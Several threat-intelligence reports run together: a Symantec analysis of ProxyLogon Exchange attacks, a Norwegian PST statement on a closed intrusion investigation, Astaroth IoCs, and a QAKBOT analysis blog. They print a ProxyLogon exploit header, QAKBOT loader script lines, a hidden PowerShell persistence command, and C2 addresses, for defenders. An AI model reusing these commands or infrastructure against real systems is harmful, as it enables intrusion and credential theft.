vulnerabilities being exploited? The four zero-day vulnerabilities that Microsoft released emergency patches for are: - **CVE-2021-26855**: This allows an unauthenticated attacker to send arbitrary HTTP requests and authenticate as the Exchange Server. The vulnerability exploits the Exchange Control Panel (ECP) via server-side request forgery (SSRF). This would also allow the attacker to gain access to mailboxes and read sensitive information. This forms the “ProxyLogon” exploit when chained with CVE-2021-27065. - **CVE-2021-27065**: Allows for remote code execution. It is a post-authentication arbitrary write file vulnerability in Exchange. An attacker authenticated by using CVE-2021-26855 (as in the ProxyLogon attacks) or via stolen credentials could write a file to any path on the server. - **CVE-2021-26858**: Is a similar arbitrary write file vulnerability to CVE-2021-27065 and can be exploited in a similar manner. - **CVE-2021-27857**: Is an insecure deserialization vulnerability in the Unified Messaging service. An attacker, authenticated either by using CVE-2021-26855 or via stolen admin credentials, could execute arbitrary code as SYSTEM on the Exchange Server. ## Q. Who is Hafnium/Ant? Hafnium, which Symantec tracks as Ant, was the group first seen exploiting the vulnerabilities in Exchange Server, according to Microsoft. It said at the time that Ant was exploiting the zero days to carry out “limited and targeted attacks.” Microsoft stated with “high confidence” that the group was state-sponsored and operating out of China. It also said the group principally attacked targets in the U.S., including infectious disease researchers, law firms, educational institutes, defense contractors, policy think tanks, and NGOs. Security firm Veloxity also said the group was seen deploying web shells on infected systems to allow for remote access. Among the web shells Veloxity said it saw deployed were China Chopper variants and ASPXSPY. Veloxity also reported seeing the group carry out post-compromise activity such as credential dumping, lateral movement via PsExec, and archiving (likely in preparation for exfiltration of data). ## Q. Is Ant still the only group exploiting these vulnerabilities? No, since Microsoft released the emergency patches for these vulnerabilities on March 2, attacks attempting to exploit these vulnerabilities have escalated, with “multiple malicious actors beyond Hafnium” attempting to target unpatched systems, according to Microsoft. ## Q. Is this a targeted attack? The initial attacks carried out by Ant appear to have been targeted, but the large number of threat actors now attempting to exploit these vulnerabilities means these attacks are now more indiscriminate in nature. ## Q. What steps can I take to protect my network? While Symantec customers are protected from attacks attempting to exploit those vulnerabilities, all users of Exchange Server are advised to update to the most recent version immediately. Microsoft has also released a detection tool that allows you to scan your Exchange Server logs to determine if your server was compromised. The Cybersecurity and Infrastructure Security Agency (CISA) in the U.S. has advised that all users of Exchange Server scan their systems using Microsoft’s tool, as well as issuing an Emergency Directive to instruct all federal agencies to immediately update their Exchange servers. ## Case Studies – Post-compromise activity Symantec researchers have observed post-compromise activity on a small number of customer machines, where attackers’ initial point of entry appears to have been through exploiting the vulnerabilities in Microsoft Exchange. ### Victim 1 In one victim, a telecoms company in the Middle East, we saw activity as far back as January 2021. China Chopper web shells were present on this victim’s network on January 13. On January 29, a suspicious PowerShell command was executed to download files from a domain masquerading as a popular cloud hosting provider. A few days later, on February 1, a suspicious command was executed to create a scheduled task, which executed “debug.bat” several hours later. The task was named “test”, which may indicate that the attackers were using this as a way to test scheduled tasks. Some hours later, the attackers ran “net start vdir”, which was used to launch a service that had likely been installed by the attackers. On February 6, a suspicious file (sok.wia) was downloaded by the attackers and was used to establish a connection with a remote host. It is likely this connection was used by the attackers to assist in exfiltration because, shortly afterwards, credential-dumping tool Mimikatz was used to dump credentials from the system. The next day, the attackers again used sok.wia, before creating a scheduled task on a remote server (likely using stolen credentials) to execute a “server.bat” file. The next activity was seen on February 18 when Mimikatz was executed once again, and then on February 19 ProcDump was used to dump Isass to “he.dmp”, which can be used to harvest credentials. Then later, on March 3, a suspicious file was observed in %Temp%\in.exe, followed by a suspicious file being extracted via the WinRAR archive tool which creates a malicious file in %system%\inetsrv\XmlLite.dll. This was the last activity seen on this machine. ### Victim 2 Another victim, this one operating in the legal sector in Southeast Asia, saw activity on its network beginning on February 28. The first activity on this machine on February 28 was a command used to dump credentials that was executed via the w3wp.exe process. On the same day ProcDump was used to dump Isass. The next day, March 1, a file called ‘uawmiver.exe’ was executed to bypass user account control (UAC). This was used to execute two batch files called “set.bat” and “set1.bat”. On March 3, a command was used to execute another unknown batch file, which was downloaded by bitsadmin from a remote host. We then saw obfuscated PowerShell commands being executed and used to download a file from a remote host. The next day, March 4, another PowerShell command was executed that searched for "layout.aspx" and "iistart.aspx". The last access and creation times were modified to August 21, 2017. This was likely done to help conceal the malicious files and thwart any incident response investigations. 7-Zip was then used to extract the contents of a ZIP archive (current.zip) that was uploaded to the Exchange server by the attackers, before the file “current.exe” was executed, which injected CobaltStrike beacon to a newly-created “svchost.exe” process for backdoor access. Several hours after this, ntdsutil was used to dump credentials once again. Following this, a file called "mv.exe", which is likely Mimikatz, was executed to dump credentials. This was followed by ProcDump being used to dump lsass to harvest additional credentials. Shortly after this, an unknown file "ccsvchst.exe" was executed, which passes a collected hash. Finally, the attackers launched the publicly available "secretsdump" tool, to dump credentials stored in the registry. Then, on March 8, the attackers ran Mimikatz to try to dump credentials again. This was the last activity seen on this machine. ## Other victims We also observed some post-compromise activity in a small number of other organizations since Microsoft issued their patches on March 2, when activity ramped up significantly as it is believed a large number of threat actors were rushing to exploit these vulnerabilities. Some of the tools we saw used in post-compromise activity in those impacted since March 2 include: - PowerShell - BITSAadmin - Certutil - Cobalt Strike - EarthWorm tunnel tool - Stowaway multi-hop proxy tool - China Chopper web shells - ReGeorg web shells - Chisel - Adfind - PsExec - Mimikatz - ProcDump In one case we also saw the attackers deleting shadow copies from infected machines, which is activity we typically see when attackers are preparing to carry out a ransomware attack, though we did not observe ransomware deployed on the machine. The extensive use of living-off-the-land and open-source tools and tactics by the attackers leveraging these vulnerabilities make attribution of these attacks difficult and means that a wide number of different threat actors may be responsible for these attacks. With activity exploiting these vulnerabilities seen by Symantec as recently as March 9, these attacks are ongoing, and all users of Microsoft Exchange Server are urged to scan their environment and apply patches immediately. ## Protection **File-based:** - Exp.CVE-2021-26855 - ISB.Downloader!gen313 - Backdoor.Trojan - Hacktool - Hacktool.Regeorg - Hacktool.Nishang - Trojan.Chinchop - Trojan.Chinchop!gen3 - Trojan.Chinchop!gen4 **Network-based:** - Attack: Microsoft Exchange Server CVE-2021-26855 - Web Attack: Microsoft Exchange Server CVE-2021-26857 - Attack: AntSword Activity - Web Attack: WebShell Access Attempt - Web Attack: WhatWeb Scanner Request - System Infected: Malicious PowerShell Script Download 4 - System Infected: Malicious PowerShell Script Download 5 - System Infected: Trojan.Backdoor Activity 404 - Web Attack: WebShell Access Attempt 2 - Web Attack: ASP WebShell Upload Attempt **Data Center Security:** Data Center Security (DCS) Intrusion Prevention (with default policies) provides zero-day protection against the deployment of webshells on Exchange Servers, including those used in these attacks. ## Indicators of Compromise (IoCs) The presence of the following indicators on your network may help you determine if you've already been exploited. | Type | SHA256 hash | File name | Description | |------|-------------|-----------|-------------| | Hash | c92c158d7c37fea795114fa6491fe5f145ad2f8c08776b18ae79db811e8e36a3 | ad.exe | AdFind | | Hash | e4372a15ed700ad1c05a70dfc5e83ae260ccbd3c40f5fa98023f06311dba5f9d | sok.wia | Hacktool | | Hash | 2477e315a9d67ed064476f18e1f4ed1e4f12d795a1d782a11fe136acd1056737 | froword.aspx | China Chopper | | Hash | a1239408c8711423966a3f5b627684358178856880fabe4ee2d1ca95b8a95fd0 | lgnright.aspx | China Chopper | | Hash | a88ae7084b235bccfa9b0166e395dcad2f0d7d01267510f011de6292471435b4 | scriptsgetjs.aspx | China Chopper | | Hash | 4afa5fde76f1f3030cf7dbd12e37b717e1f902ac95c8bdf54a2e58a64faade04 | Chisel.exe | Chisel | | Hash | ff75cd3a2c9c39ec4fa9c2016bb87938cc4ddf9a1f375c497789a5882b5bbe5e | ch.exe | Chisel | | Hash | 4ba1765cba206e8fe02652b5b050e2aec043bfe3455cd77975f0a248ede5ce5e | 8751.exe | CobaltStrike | | Hash | d63b4bd4f85a8866a0eda810bfbbc4255f55b4e3a41c243ef313e84a2d988867 | a | CobaltStrike | | Hash | 696d2b88a0768b178d00e59ffcdeea9b60ad5b9070a857d47b05f0b9b448de2e | current.exe | CobaltStrike | | Hash | 513ab85cf2f9358eefd96ddbf59bececc2ad1bc964187d78635d3e6cd1fc013b | sms.dat | DecrypterLo | | Hash | 9d0afc3a8318fa1cbbf52027f7f51050c44bcddcb9b61359a766d60aa02b9a13 | un.bat | Downloader | | Hash | c1f43b7cf46ba12cfc1357b17e4f5af408740af7ae70572c9cf988ac50260ce1 | tunnel.aspx | ReGeorg | | Hash | 30a78770615c6b42c17900c4ad03a9b708dc2d9b743bbdc51218597518749382 | m1.log | Mimikatz | | Hash | 52cbb6e6507acd187adf4ae625d3df1b9db3a066a2e7ed83fea0c821a00b2706 | mv.exe | Mimikatz | | Hash | 9a3bf7ba676bf2f66b794f6cf27f8617f298caa4ccf2ac1ecdcbbef260306194 | mimikatz.exe | Mimikatz | | Hash | ad6d269dfd1ecb41c198879b19349361b5aa0fa73c00641347b173ef41beca88 | ss64.exe | Mimikatz | | Hash | b82223d514f145005bf5d2d4f8628d1e5306b38ccefda193ee60e2741f90eae6 | ml64.exe | Mimikatz | | Hash | 16f413862efda3aba631d8a7ae2bfff6d84acd9f454a7adaa518c7a8a6f375a5 | pd.exe | ProcDump | | Hash | e2a7a9a803c6a4d2d503bb78a73cd9951e901beb5fb450a2821eaf740fc48496 | pd64.exe | ProcDump | | Hash | e2a7a9a803c6a4d2d503bb78a73cd9951e901beb5fb450a2821eaf740fc48496 | procdump64.exe | ProcDump | | Hash | 3337e3875b05e0bfba69ab926532e3f179e8cfbf162ebb60ce58a0281437a7ef | psexec.exe | PsExec | | Hash | fc7c0272170b52c907f316d6fde0a9fe39300678d4a629fa6075e47d7f525b67 | a079b04ae1b9a4f0e0f069f1d0076fea | ShellcodeLo | | Hash | 5a3f0b0929bfc626012f45ce80d4316497c676e1e639bc3b241d5e9b5f113899 | q.exe | ShellcodeLo | | Hash | 95f724246339cacaf07600d848a74abf651fcc447b2d2b047bfd5524eb00c843 | shellcode.cpl | ShellcodeLo | | Hash | 1e7d4c97ed45db02d434e9d75ce51b2f94a575d8613966ab33a514836e3e80ef | wa.exe | Stowaway | | Hash | 0291c1f65851f6c43453454e2e04c559693dba37c71482da63221612791782c6 | auth.aspx | Web shell | | Hash | 0291c1f65851f6c43453454e2e04c559693dba37c71482da63221612791782c6 | serverrequirementresources.aspx | Web shell | | Hash | 0c5145a146c59fbfb9ab59a40602f01c2d2ee507c81c09dbc48e92cddd6929ed | owafont.aspx | Web shell | | Hash | 0c5145a146c59fbfb9ab59a40602f01c2d2ee507c81c09dbc48e92cddd6929ed | owafont.aspx | Web shell | | Hash | 2230352407f3e81b37f572ca8269f854df889977e45c79dc40b17b0b75ed9a62 | index.aspx | Web shell | | Hash | 3377a844cd3855099d37b3d261537a84f0cad37cec9f3586755b7a03e046a15d | template.aspx | Web shell | | Hash | 450deff4be85be401ecc312abd5ca6ea2a6c1b252c8c3d6159b1a8766db75efb | defate.aspx | Web shell | | Hash | 58fea882b2587f37df929ea3760ac840ad3ed9dd6f96bc01c9b56a90c377b1dc | aspnet_client.aspx | Web shell | | Hash | 58fea882b2587f37df929ea3760ac840ad3ed9dd6f96bc01c9b56a90c377b1dc | aspnet_client.aspx | Web shell | | Hash | 5a1f3e2eb49b28e8a185cbff52ba2493ae3116eac0c7c24a13d476fbac07c7b6 | admin.aspx | Web shell | | Hash | 5ef3f9b43c897fb11cf74848ec92da3741958acbc84413d6975a57bb0e7bbde8 | xxo.aspx | Web shell | | Hash | 65c9b651fb8561f66aa1ab12c86c8f5a75e29c076355d41d29210f944a2672b2 | premium.aspx | Web shell | | Hash | 77c34b8d251b3fc3347daaed359a02be7779feb3f2febe16986a5ccf66a53685 | oa.aspx | Web shell | | Hash | a1239408c8711423966a3f5b627684358178856880fabe4ee2d1ca95b8a95fd0 | lgnright.aspx | Web shell | | Hash | b234115d602683274ebe252469244b2f2107b8d140a50300f6d1eb3777f72b65 | logonin.aspx | Web shell | | Hash | c002c59cc3e41f984f91e5b4773085c7ec78c5dddec5e35111a3dadc22cb2d6e | help.aspx | Web shell | | Hash | c07cc4b59303a4b3223eba95060fa5c44a357f93c3a9ff73577d3296027cf01b | flogon.aspx | Web shell | | Hash | c1f43b7cf46ba12cfc1357b17e4f5af408740af7ae70572c9cf988ac50260ce1 | tunnel.aspx | Web shell | | Hash | c781c5755ed26a5b4251521bd43e72972ca9eaf6e9eceb163c269da67216bfb0 | ppp.aspx | Web shell | | Hash | cd07bb09c3a955843d2179f4e5eee618ece20def911dc59fafbaa268c8558a7f | ee.aspx | Web shell | | Hash | da0e5f7af9c96c2c8d2ba72b393dce05df1ba0bac746010a380a1f0eb11de6d7 | 1.aspx | Web shell | | Hash | e5f98a1b0d37a09260db033aa09d6829dc4788567beccda9b8fef7e6e3764848 | flogonerrore.aspx | Web shell | | Hash | f26da6bd8107aca72ce976e2f12bcf688952c5f1fd84d71eaf6fd66d9ccecbcc | log0n.aspx | Web shell | | Hash | fa797791bbba7d48ddd4213de87d190355c6d50cffea0ba2f76c8fb10a269a3d | timeoutlogon.aspx | Web shell | | Hash | 6a0faa5fc3db4df86db34368ac214b4a45c9ad3e14acff75c1a43556f0673fff | pop.aspx | Web shell | **IP addresses:** - 89.34.111.11 - 139.180.223.203 - 154.83.16.122 - 43.254.216.136 - 45.133.119.141 - 45.249.244.118 - 86.105.18.116 - 94.177.123.16 - 152.32.174.110 **URLs:** - http://api.onedvirer.xyz/api/read - http://api.onedvirer.xyz/api/write ## ProxyLogon **File indicators:** The following regex can be used to help identify suspicious aspx/webshells: `.*(\\aspnet_client\\|\\owa\\auth\\|\\ecp\\auth\\).*\.aspx` **Network indicators:** A HTTP GET request for `/owa/auth/x.js` with the following cookie header set may indicate a possible exploit attempt: `X-AnonResource=true; X-AnonResource-Backend=localhost/ecp/default.flt?~3; X-BEResource=localhost/owa/auth/logon.aspx?~3` **Log file indicators:** Check for CMD output in Exchange’s ECP Server logs: `S:CMD=Set-OabVirtualDirectory.ExternalUrl=` Check IIS web server logs for the following URI path: `/ecp/DDI/DDIService.svc/SetObject` ## Microsoft Scanning Tool This tool allows you to scan your Exchange Server logs to determine if your server was compromised. ## About the Author **Threat Hunter Team** Symantec The Threat Hunter Team is a group of security experts within Symantec whose mission is to investigate targeted attacks, drive enhanced protection in Symantec products, and offer analysis that helps customers respond to attacks.
# Etterforskningen av datanettverksoperasjonen mot statsforvalterembeter henlegges ## Sentrale funn i etterforskningen Etterforskningen har avdekket at aktøren har lyktes med å skaffe seg administratorrettigheter som har gitt tilgang til sentraliserte datasystemer som benyttes av alle statsforvalterembetene i landet. Aktøren lyktes også med å overføre noe data fra embetenes systemer. Det er ikke gjort sikre tekniske funn av hvilke opplysninger som ble overført, men etterforskningen viser at det sannsynligvis var brukernavn og passord knyttet til ansatte i ulike statsforvalterembeter. Etterforskningen har ikke avdekket forhold som tilsier at aktøren skaffet seg tilgang til sikkerhetsgraderte opplysninger ved de aktuelle embetene. Det at det anses som sannsynlig at det var brukernavn og passord knyttet til statsforvalterembetene som ble overført, innebærer at aktøren kan ha lagt til rette for å senere kunne samle inn hemmelige opplysninger fra embetene som for eksempel gjelder forsvars-, sikkerhets- og beredskapsmessige forhold, jf. straffeloven § 121. Det foreligger imidlertid ikke bevismessig grunnlag for å slå fast at noen faktisk har samlet inn slike opplysninger. Det er heller ikke forhold som tilsier at aktøren har hentet ut personsensitive opplysninger knyttet til borgere. Det er ikke mulig å trekke en sikker konklusjon om motivet bak ugjerningen. ## Hvem kan stå bak handlingen? Etterforskningen har ikke gitt grunnlag for å konstatere hvilken aktør som står bak. Opplysningene om de metoder og teknikker som er blitt benyttet, sannsynliggjør imidlertid at det dreier seg om en avansert og profesjonell aktør. Likhet i modus, som gjelder bruk av skadevare, verktøy og digital infrastruktur, gjør at det anses som sannsynlig at samme aktør står bak nettverksoperasjonen mot statsforvalterembetene og Visma AS. Etterforskningen har ikke avdekket tilstrekkelige opplysninger til at det kan fastslås at det foreligger et fullbyrdet brudd på straffeloven § 121. Det kan dreie seg om et forsøk på overtredelse av bestemmelsen eller en forberedende handling til senere overtredelse, men det er ikke mulig å si noe sikkert om hva som var aktørens motiv med handlingen. Det er heller ikke grunnlag for å konstatere hvem som står bak handlingen. Saken henlegges derfor på grunn av mangel på bevis. Påtalemyndigheten i PST vurderte ut fra opplysningene at det forelå rimelig grunn til å iverksette etterforskning for å undersøke hvorvidt det forelå overtredelse av straffeloven § 121. Straffebudet rammer ulovlig etterretningsvirksomhet som kan skade grunnleggende nasjonale interesser som gjelder blant annet forsvars-, sikkerhets- og beredskapsmessige forhold. Embetene ivaretar en rekke sentrale oppgaver, herunder relatert til forsvars-, sikkerhets- og beredskapsmessige forhold. Embetene forvalter også en mengde personsensitivt materiale. Formålet med etterforskningen har vært å avklare om det foreligger et brudd på straffeloven § 121, hvilken aktør som eventuelt står bak, og om noen kan holdes ansvarlig i henhold til norsk straffelov. Det norske dataprogramvareselskapet Visma AS ble også utsatt for en nettverksoperasjon sommeren 2018. Etterforskningen har i noen grad også rettet seg mot denne nettverksoperasjonen, da flere forhold tilsier at det kan være samme aktør som står bak de to operasjonene. Det sentrale fokuset i etterforskningen har imidlertid vært nettverksangrepet mot statsforvalterembetene.
# IOCs for Astaroth/Guildma Infection **Date:** 2022-01-17 (MONDAY) - BRAZIL EMAIL PUSHING ASTAROTH/GUILDMA MALWARE ## Email Headers: - **Received:** from 46.148.234[.]126 (EHLO brasilirib07.iribfinanceiroorgbrasil[.]cloud) by [recipient's mail server] with SMTPs (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256); Mon, 17 Jan 2022 19:31:47 +0000 - **Received:** by brasilirib07.iribfinanceiroorgbrasil[.]cloud (Postfix, from userid 33) id E89FC12E8AAD; Mon, 17 Jan 2022 16:27:38 -0300 (-03) - **To:** [recipient's email address] - **Subject:** Referente ao Pedido-6569RWW6A5C - 3NA7P12P92FDTE5I9H13G0FNZIR1I - **MIME-Version:** 1.0 - **From:** Silvia Monteiro - DPT.F.D.NFe <[email protected]> - **Date:** Mon, 17 Jan 2022 16:27:38 -0300 - **Reply-To:** [email protected] ## Link from Email: - hxxp://is[.]gd/Oc6aNo/M23DELDYZ1LElZiMrK/Z0AY20k2D2/ ## Traffic for Initial ZIP Archive: - 104.21.86.54 port 80 - y7iar15iowe.netirib[.]one - domain hosting zip archive - zeb.mi.imati.cnr[.]it - legitimate domain generating traffic caused by domain hosting zip archive ## Traffic Generated by Contents of ZIP Archive: - 104.21.48.111 port 80 - 49oujr.elthalion[.]cfd - GET /?1/ - 172.67.194[.]164 port 80 - 1svdca3awt.reizorandir[.]sbs - HEAD /?62056502781677888 - 172.67.194[.]164 port 80 - 1svdca3awt.reizorandir[.]sbs - GET /?62056502781677888 - 172.67.194[.]164 port 80 - 1svdca3awt.reizorandir[.]sbs - HEAD /?56861426256676731 - 172.67.194[.]164 port 80 - 1svdca3awt.reizorandir[.]sbs - GET /?56861426256676731 - 172.67.194[.]164 port 80 - 1svdca3awt.reizorandir[.]sbs - HEAD /?35182482159686492 - 172.67.194[.]164 port 80 - 1svdca3awt.reizorandir[.]sbs - GET /?35182482159686492 - 172.67.194[.]164 port 80 - 1svdca3awt.reizorandir[.]sbs - HEAD /?69258597556636986 - 172.67.194[.]164 port 80 - 1svdca3awt.reizorandir[.]sbs - GET /?69258597556636986 - 172.67.194[.]164 port 80 - 1svdca3awt.reizorandir[.]sbs - HEAD /?60652078311677931 - 172.67.194[.]164 port 80 - 1svdca3awt.reizorandir[.]sbs - GET /?60652078311677931 - 172.67.194[.]164 port 80 - 1svdca3awt.reizorandir[.]sbs - HEAD /?42495298528678061 - 172.67.194[.]164 port 80 - 1svdca3awt.reizorandir[.]sbs - GET /?42495298528678061 - 172.67.194[.]164 port 80 - 1svdca3awt.reizorandir[.]sbs - HEAD /?68939448389637041 - 172.67.194[.]164 port 80 - 1svdca3awt.reizorandir[.]sbs - GET /?68939448389637041 - hundreds of DNS queries to different domains following the same format as the four used below - 172.67.197[.]42 port 80 - d36c259d9ddee6a5075920479f3c30df.bihcreuomegscmedfuaggprjrjomosga[.]cf - POST / - 104.21.76[.]154 port 80 - b1de04354c314704bffdcf6da5989fd7.bihcreuomegscmedfuaggprjrjomosga[.]cf - POST / - 172.67.198[.]188 port 80 - e25fa991460f33251405b284f08b84b4.jfhobjjddhsrspocbcorushsgcjhmgsg[.]gq - POST / - 104.21.44[.]107 port 80 - 4f7afe1492603307b978fbffb672156a.jfhobjjddhsrspocbcorushsgcjhmgsg[.]gq - POST / ## Files from an Infected Windows Host: - **SHA256 hash:** d55076ddb14bb738c21af1b6350cd071ec9a83bb26cf627ea403d8f482d912b3 - **File size:** 481 bytes - **File name:** FFDADSIURE_637.11847.20547.zip - **File description:** zip archive downloaded from link in the email - **SHA256 hash:** 4149af6393383f2d52407bb2ed0eee4649f3cacfd8b2d18967e6c2a4fd5078a0 - **File size:** 338 bytes - **File name:** FFDADSIURE_.764.004378.96425?.cmd - **File description:** batch script extracted from above zip archive - **SHA256 hash:** b03f5df4eb85bf5af00edab4fa5cce11abcb75e980f31e434fd957b86428d631 - **File size:** 110 bytes - **File location:** C:\Users\Public\Videos\ks9.Hta - **File description:** HTML script dropped after running above batch script - **SHA256 hash:** 9f0568fd4af722756a30ead152d90db4c38f06ae01cdb6e5ff7696007b25015a - **File size:** 1,697 bytes - **File location:** C:\Users\[username]\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winupdate.setup989dedbb0212.lnk - **File description:** Windows shortcut used to keep the infection persistent ## Command Run by Above Windows Shortcut: `C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden -Command C:\Windows\Temp\bhriwgjtvqazbeciqbmivay37695086602\setupcl?.exe C:\Windows\Temp\bhriwgjtvqazbeciqbmivay37695086602\tty` ## Notable Files at C:\WINDOWS\TEMP\BHRIWGJTVQAZBECIQBMIVAY37695086602: - **SHA256 hash:** 739b2dd012ea183895cc01116906f339c9aa1c0baabf6f22c8e59e25a0c12917 - **File size:** 211,456 bytes - **File location:** C:\Windows\system32\bitsadmin.exe - **File description:** Copy of legitimate system file from C:\Windows\system32\bitsadmin.exe - **Note:** Not malicious, but utilized during this infection - **SHA256 hash:** b712286d4d36c74fa32127f848b79cfb857fdc2b1c84bbbee285cf34752443a2 - **File size:** 932,223 bytes - **File location:** C:\Windows\Temp\bhriwgjtvqazbeciqbmivay37695086602\sqlite3.dll - **File description:** Legitimate DLL for SQLite version 3.30.1 - **Note:** Not malicious, but utilized during this infection - **SHA256 hash:** 237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d - **File size:** 893,608 bytes - **File location:** C:\Windows\Temp\bhriwgjtvqazbeciqbmivay37695086602\setupcl?.exe - **File description:** Copy of AutoIt3.exe version 3.3.14.5 - **Note 1:** Not malicious, but utilized during this infection - **Note 2:** AutoIt v3 is a freeware BASIC-like scripting language designed for automating the Windows GUI and general scripting. - **SHA256 hash:** 841c97fdd8b434be673d22df68a378913800ab089a53c335221d63fa95caa52a - **File size:** 28,006 bytes - **File location:** C:\Windows\Temp\bhriwgjtvqazbeciqbmivay37695086602\ttx - **File description:** malicious binary, AutoIt v3 compiled script - **SHA256 hash:** 485ed71cf4a39221d57656cb9f8c3fe87210e8a7b4de053611febea84a8a5d97 - **File size:** 27,864 bytes - **File location:** C:\Windows\Temp\bhriwgjtvqazbeciqbmivay37695086602\tty - **File description:** malicious binary, AutoIt v3 compiled script - **SHA256 hash:** 560498979df4664e3d9aafc72504014da2d0dcf7480a8ea051c443313ff0e2df - **File size:** 1,387,680 bytes - **File location:** C:\Windows\Temp\bhriwgjtvqazbeciqbmivay37695086602\dart.dll - **File type:** ASCII text (Base64 string, twice encoded), not malicious unless decoded - **SHA256 hash:** 6a94418da55c81aeea4bf4d0d888a05c6ce67d2d18b417c4296851ceaa67c516 - **File size:** 1,824,304 bytes - **File location:** C:\Windows\Temp\bhriwgjtvqazbeciqbmivay37695086602\darts.dll - **File type:** ASCII text (Base64 string, twice encoded), not malicious unless decoded - **SHA256 hash:** 20ed67c588295a375d220f9557a0a7b798c9cc21181798c8f0e6d4f0d35049db - **File size:** 4,210,154 bytes - **File location:** C:\Windows\Temp\bhriwgjtvqazbeciqbmivay37695086602\log33.dll - **File description:** Encoded binary, XOR-ed with hex string 994C2693C964B2592C168B45A25128140A050201000000000000000000000000, not malicious unless decoded - **SHA256 hash:** 5d82afd889fd5af9485f3816a81c90c9c3b321a35ec20504fd2868e5e6428ce0 - **File size:** 780,569 bytes - **File description:** malicious DLL decoded from dart.dll - **File type:** PE32 executable (DLL) (GUI) Intel 80386, for MS Windows - **SHA256 hash:** 79bba1f2f78495031be02c85daf25ff9f586013de148a2cb6ca68bcdaa1e8485 - **File size:** 1,026,169 bytes - **File description:** malicious DLL decoded from darts.dll - **File type:** PE32 executable (DLL) (GUI) Intel 80386, for MS Windows - **SHA256 hash:** 4605553f18de62be3a13e1661d9a8457ebc33f6730bc898c03792fee0da56763 - **File size:** 4,210,154 bytes - **File description:** malicious DLL decoded from log33.dll - **File type:** PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
# QAKBOT BB Configuration and C2 IPs List This is my first malware blog post, hope it will be useful to someone. I’ll not go deeper into the malware details because there are plenty of detailed reports related to QAKBOT. I’ll describe how the malware changed its resource decryption mechanism and report some IoCs. On September 30, 2022, a friend of mine received a phishing email pretending to be sent by one of his customers. The email contained a URL, a password, and a legit old message. By visiting the URL `https://lynxus[.]com/usq/refeidpisnretse` with a user agent related to Windows, a working zip named `Card654141047.zip` is provided. If the user agent is not “ok,” the server responds with a fake zip file that doesn’t work. Using the provided password “U492,” it is possible to extract an ISO file from the zip. The ISO file contains a LNK file and a hidden folder with the following files: - expeditionPresides.js - redressingLamentations.cmd - regressing.txt - rougher.gif - tiddler.dat The LNK file is a link to `expeditionPresides.js`, which contains the following JScript: ```javascript var undisruptedPuzzles = "rund DllRegis"; // ShellExecute var bridgeheadsLibels = new ActiveXObject("shell.application").shellexecute("assaulting\\redressingLamentations.cmd", undisruptedPuzzles, "", "open", 0); ``` It runs `redressingLamentations.cmd` by providing two parameters “rund DllRegis.” Following is the content of `redressingLamentations.cmd`: ```batch @echo off set a=ll set e=32 :: tankageLicentiously %1%a%%e% assaulting\tiddler.dat,%2terServer exit ``` It uses `rundll32` in order to execute the `DllRegisterServer` export function from `tiddler.dat`, following some details of the DLL. `Tiddler.dat` is the first stage DLL used to extract the unpacked version of the malware. By setting a breakpoint on `NtAllocateVirtualMemory`, it’s easy to find the unpacked version. After unpacking the DLL, we can analyze it. After some analysis, we can confirm that the malware is QAKBOT. The malware seems to be similar to the one reported by several blog posts. The BOT Configuration and the C2 IPs list are encrypted in a different way, so I’ll only describe how to decrypt it instead of writing something already reported in a very clear way by several blog posts: - Elastic - Hornetsecurity The file has two resources, one containing the encrypted Configuration and one containing the encrypted C2 IPs list. The resources are encrypted in the same way, so let’s use the configuration resource as an example. Two “steps” of RC4 encryption are used. As shown in the image below, in the first step, the SHA1 Hash is calculated on the string, “Muhcu#YgcdXubYBu2@2ub4fbUhuiNhyVtcd.” The SHA1 Hash result is “CA 6A E9 55 26 F0 BC EB 6B A5 39 0E B6 14 81 9A 9B 4A F9 4E.” This will be the RC4 key (the string used is different in each QAKBOT sample; for example, in another sample I analyzed, it was “bUdiuy81gYguty@4frdRdpfko(eKmudeuMncueaN,” you have to figure out which string it uses). Using the data we obtain from SHA1 as key, we can use the RC4 algorithm to decrypt the data. The output from the first RC4 decryption will contain the following data: - From bytes 0 to 20: SHA1 Hash of New Key + Encrypted Configuration - From bytes 20 to 40: New Key - From bytes 40 to end: Encrypted Configuration In the second step, the RC4 algorithm is used with the New Key to decrypt the Encrypted Configuration. The QAKBOT campaign ID is “BB” and the timestamp 1664535088 corresponds to Fri Sep 30 2022 10:51:28 GMT+0000. To automatically extract the configuration and the C2 IPs, I wrote the following Python script: ```python import hashlib from arc4 import ARC4 file = open("89210AF9.bin", "rb") # Resource with QAKBOT configuration resource = file.read() key = hashlib.sha1(b"Muhcu#YgcdXubYBu2@2ub4fbUhuiNhyVtcd").digest() # change with your password rc4 = ARC4(key) data = rc4.decrypt(resource) key = data[20:40] rc4 = ARC4(key) decrypted_data = rc4.decrypt(data[40:]) print("QAKBOT Configuration:") print((decrypted_data[20:]).decode("utf-8")) file = open("3C91E639.bin", "rb") # Resource with QAKBOT C2 resource = file.read() key = hashlib.sha1(b"Muhcu#YgcdXubYBu2@2ub4fbUhuiNhyVtcd").digest() # change with your password rc4 = ARC4(key) data = rc4.decrypt(resource) key = data[20:40] rc4 = ARC4(key) decrypted_data = rc4.decrypt(data[40:]) print("QAKBOT C2:") for i in range(21, len(decrypted_data), 7): c2 = bytearray(decrypted_data[i:i + 7]) print("%d.%d.%d.%d:%d" % (c2[0], c2[1], c2[2], c2[3], (c2[4] << 8) + c2[5])) ``` Hope this first malware blog post can help someone during their analysis of QAKBOT. ## Configuration: - 10=BB - 3=1664535088 ## File Hashes: - 5B54F57DBAA74FA589AFB2D26D6C6B39E0C2930BD88FEA3172556CE96B3EB959 - 796FF26DB045085EC8162D414CC2DEAFB2836D3F0BFFD8C58AF4595EBB4261E9 - D5F09EBC9B1F3FB9781ACA09E3B9FA63F90B909CC7418FF7D2AFA462F400DCE3 - 8B08C031D365A0B4D032C6E51BF773655E15795FE3EABCD3FA6487FFE9F3D6B3 - 93104C4834A27E39C13AC9D4663C6FA622AE6ECC5491A67DDF9125E6633CF07B - 55AD915DCD65192548046ECBECDA5AD8AD6A92A11F07EC9A92744FCAC1599501 - 757D3C81555FBF635B2B9FD1D5222E6FE046710753395545A29E3E1F0A78FBF1 - BD3A47E0E27523044FEB2C30879EB684CFD174EC329350BAF5E0824FFFF1A22F ## C2 IPs: - 41.107.71[.]201:443 - 105.101.230[.]16:443 - 